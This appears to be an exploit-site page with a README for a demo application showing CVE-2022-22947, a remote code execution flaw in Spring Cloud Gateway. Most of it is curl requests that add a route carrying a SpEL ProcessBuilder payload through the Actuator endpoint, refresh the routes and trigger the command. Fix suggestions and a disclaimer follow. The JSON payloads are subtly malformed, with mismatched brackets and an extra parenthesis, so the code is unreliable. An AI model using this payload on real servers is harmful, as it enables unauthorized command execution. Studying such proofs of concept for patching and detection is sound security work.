Exploit for Code Injection in Vmware Spring Cloud Gateway

## https://sploitus.com/exploit?id=F2E4B773-91F0-59FF-A88F-8896ED7892F1
# CVE-2022-22947 Spring Cloud Gateway Vulnerability Demonstration Application

This is a Spring Cloud Gateway application designed specifically for demonstrating and verifying the CVE-2022-22947 vulnerability. The application uses a vulnerable version of Spring Cloud Gateway, allowing arbitrary code to be executed through the Actuator endpoint. ## Vulnerability Overview

CVE-2022-22947 is a remote code execution vulnerability in Spring Cloud Gateway. Attackers can dynamically add routes containing malicious SpEL expressions through the Actuator endpoint, enabling arbitrary code to be executed. ## Environment Requirements

- Java 11+
- Maven 3.6+
- macOS system (used for calculator demonstration)

## Starting the Application

```bash
mvn spring-boot:run
```

The application will start on `http://localhost:8080`. ## Vulnerability Demonstration Steps

### Step 1: Adding a Malicious Route

Send a POST request to the `/actuator/gateway/routes/test` endpoint to add a route containing a malicious SpEL expression:

```bash
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
  -H "Content-Type: application/json" \
  -d '{
    "id": "test",
    "filters": [
      {
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start())"
      }
    ],
    "uri": "http://example.com",
    "predicates": [
      {
        "name": "Path",
        "args": {
          "_genkey_0": "/test"
      }
    ]
  }'
```

### Step 2: Refreshing the Routes

Send a POST request to the `/actuator/gateway/refresh` endpoint to refresh the routes:

```bash
curl -X POST http://localhost:8080/actuator/gateway/refresh
```

### Step 3: Triggering Malicious Code

Access the malicious route to trigger code execution:

```bash
curl http://localhost:8080/test
```

### Expected Result

After exploiting the vulnerability, the macOS calculator application will execute. ## Key Request Information

### 1. Request to Add a Malicious Route

**Endpoint**: `POST /actuator/gateway/routes/test`

**Request Header**:
```
Content-Type: application/json
```

**Request Body**:
```json
{
  "id": "test",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "Result",
        "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start())"
      }
    ]
  ],
  "uri": "http://example.com",
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/test"
      }
    ]
  ]
}
```

### 2. Request to Refresh Routes

**Endpoint**: `POST /actuator/gateway/refresh`

### 3. Request to Trigger the Vulnerability

**Endpoint**: `GET /test`

## Vulnerability Analysis

This vulnerability allows attackers to dynamically add routes through the Actuator endpoint, using SpEL expressions in route filters to execute arbitrary code. The core of the vulnerability lies in Spring Cloud Gateway’s improper handling of SpEL expressions in route configurations. ## Fixing Suggestions

1. Upgrade to Spring Cloud Gateway 3.1.1+ or 3.0.7+
2. Disable the Actuator endpoint or restrict access
3. Use Spring Security to protect the Actuator endpoint

## Version Information

- Spring Boot: 2.6.2
- Spring Cloud: 2021.0.0
- Spring Cloud Gateway: 3.1.0 (vulnerable version)

## Notes

⚠️ **Security Warning**: This application is only used for educational and security research purposes. Do not use or deploy this application in a production environment. ⚠️ **Legal Statement**: When using this application for vulnerability testing, ensure you have proper authorization. Unauthorized testing may violate laws and regulations.

[source-iocs-preserved url=http://localhost:8080`]